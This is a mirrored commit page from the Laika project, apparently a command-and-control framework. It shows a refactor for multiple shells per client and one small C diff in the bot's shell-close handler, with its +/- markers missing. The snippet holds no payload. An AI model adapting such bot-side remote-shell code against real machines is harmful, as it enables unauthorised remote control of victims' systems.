1
0
mirror of https://github.com/CPunch/Laika.git synced 2025-09-28 12:47:35 +00:00

Shell: minor refactoring, cnc supports mutiple shells per auth clients

- while cnc supports multiple shells per auth client, the LaikaShell still only supports 1 concurrent shell at a time.
	this feature is just preparing boilerplate for future features. shell treats all SHELL_* packets for the same shell, regardless of shellID
This commit is contained in:
2022-05-20 14:10:53 -05:00
parent e3f6b76e35
commit 0fdca35f87
8 changed files with 173 additions and 137 deletions

View File

@@ -70,7 +70,7 @@ void laikaB_handleShellClose(struct sLaika_peer *peer, LAIKAPKT_SIZE sz, void *u
/* check if shell is not running */
if (id > LAIKA_MAX_SHELLS || !(shell = bot->shells[id]))
LAIKA_ERROR("LAIKAPKT_SHELL_CLOSE requested on unopened shell!\n");
return;
/* close shell */
laikaB_freeShell(bot, shell);